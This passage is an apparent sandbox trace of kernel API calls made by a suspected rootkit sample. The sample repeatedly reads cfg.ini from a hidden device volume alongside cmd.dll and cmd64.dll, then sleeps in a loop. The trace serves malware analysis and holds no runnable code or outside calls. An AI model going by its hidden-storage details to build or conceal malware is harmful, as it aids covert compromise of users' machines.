MemoryDescriptorList=0xfffffa8003b863b0) [0125.643] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.643] IdePortDispatch () returned 0x103 [0125.643] KeWaitForMutexObject () returned 0x0 [0125.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.644] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.644] IdePortDispatch () returned 0x103 [0125.644] KeWaitForMutexObject () returned 0x0 [0125.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.644] KeLeaveCriticalRegion () [0125.644] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.644] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.644] KeEnterCriticalRegion () [0125.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.644] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.644] KeLeaveCriticalRegion () [0125.644] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.644] KeEnterCriticalRegion () [0125.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.644] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.644] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.645] KeLeaveCriticalRegion () [0125.645] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.645] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.645] KeEnterCriticalRegion () [0125.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.645] ExFreePoolWithTag (P=0xfffffa8003bf8a50, Tag=0x0) [0125.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.645] KeLeaveCriticalRegion () [0125.645] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.645] ReleaseMutex (hMutex=0xf0) returned 1 [0125.645] Sleep (dwMilliseconds=0x124f80) [0125.658] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.658] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.658] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.659] KeEnterCriticalRegion () [0125.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.659] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.659] IdePortDispatch () returned 0x103 [0125.659] KeWaitForMutexObject () returned 0x0 [0125.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.659] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.659] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.659] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.659] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.659] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9cb0 [0125.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.659] KeLeaveCriticalRegion () [0125.659] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.659] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.659] KeEnterCriticalRegion () [0125.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.659] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.659] KeLeaveCriticalRegion () [0125.659] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.659] KeEnterCriticalRegion () [0125.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.659] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.659] IdePortDispatch () returned 0x103 [0125.660] KeWaitForMutexObject () returned 0x0 [0125.660] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.660] KeLeaveCriticalRegion () [0125.660] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.660] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.660] KeEnterCriticalRegion () [0125.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.660] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc3000 [0125.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.660] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.660] IdePortDispatch () returned 0x103 [0125.660] KeWaitForMutexObject () returned 0x0 [0125.660] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.660] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.660] IdePortDispatch () returned 0x103 [0125.660] KeWaitForMutexObject () returned 0x0 [0125.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.660] KeLeaveCriticalRegion () [0125.660] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.661] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.661] KeEnterCriticalRegion () [0125.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.661] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.661] KeLeaveCriticalRegion () [0125.661] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.661] KeEnterCriticalRegion () [0125.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.661] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.661] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.661] KeLeaveCriticalRegion () [0125.661] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.661] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.661] KeEnterCriticalRegion () [0125.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.661] ExFreePoolWithTag (P=0xfffffa8003bf9cb0, Tag=0x0) [0125.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.661] KeLeaveCriticalRegion () [0125.661] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.661] ReleaseMutex (hMutex=0xf0) returned 1 [0125.661] Sleep (dwMilliseconds=0x124f80) [0125.676] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.676] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.676] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.676] KeEnterCriticalRegion () [0125.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.676] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.676] IdePortDispatch () returned 0x103 [0125.676] KeWaitForMutexObject () returned 0x0 [0125.676] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.676] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.677] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.677] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.677] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.677] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8a50 [0125.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.677] KeLeaveCriticalRegion () [0125.677] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.677] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.677] KeEnterCriticalRegion () [0125.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.677] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.677] KeLeaveCriticalRegion () [0125.677] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.677] KeEnterCriticalRegion () [0125.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.677] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.677] IdePortDispatch () returned 0x103 [0125.677] KeWaitForMutexObject () returned 0x0 [0125.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.677] KeLeaveCriticalRegion () [0125.677] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.677] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.677] KeEnterCriticalRegion () [0125.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc8000 [0125.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.677] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.677] IdePortDispatch () returned 0x103 [0125.678] KeWaitForMutexObject () returned 0x0 [0125.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.678] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.678] IdePortDispatch () returned 0x103 [0125.678] KeWaitForMutexObject () returned 0x0 [0125.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.678] KeLeaveCriticalRegion () [0125.678] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.678] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.678] KeEnterCriticalRegion () [0125.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.678] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.679] KeLeaveCriticalRegion () [0125.679] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.679] KeEnterCriticalRegion () [0125.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.679] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.679] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.679] KeLeaveCriticalRegion () [0125.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.679] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.679] KeEnterCriticalRegion () [0125.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.679] ExFreePoolWithTag (P=0xfffffa8003bf8a50, Tag=0x0) [0125.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.679] KeLeaveCriticalRegion () [0125.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.679] ReleaseMutex (hMutex=0xf0) returned 1 [0125.679] Sleep (dwMilliseconds=0x124f80) [0125.693] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.693] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.694] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.694] KeEnterCriticalRegion () [0125.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.694] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.694] IdePortDispatch () returned 0x103 [0125.694] KeWaitForMutexObject () returned 0x0 [0125.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.694] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.694] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.694] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.694] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.694] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf98d0 [0125.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.694] KeLeaveCriticalRegion () [0125.694] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.694] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.694] KeEnterCriticalRegion () [0125.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.694] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.694] KeLeaveCriticalRegion () [0125.694] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.694] KeEnterCriticalRegion () [0125.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.694] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.694] IdePortDispatch () returned 0x103 [0125.695] KeWaitForMutexObject () returned 0x0 [0125.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.695] KeLeaveCriticalRegion () [0125.695] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.695] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.695] KeEnterCriticalRegion () [0125.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.695] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccd000 [0125.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.695] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.695] IdePortDispatch () returned 0x103 [0125.695] KeWaitForMutexObject () returned 0x0 [0125.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.695] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.695] IdePortDispatch () returned 0x103 [0125.695] KeWaitForMutexObject () returned 0x0 [0125.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.695] KeLeaveCriticalRegion () [0125.695] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.696] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.696] KeEnterCriticalRegion () [0125.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.696] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.696] KeLeaveCriticalRegion () [0125.696] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.696] KeEnterCriticalRegion () [0125.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.696] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.696] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.696] KeLeaveCriticalRegion () [0125.696] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.696] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.696] KeEnterCriticalRegion () [0125.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.696] 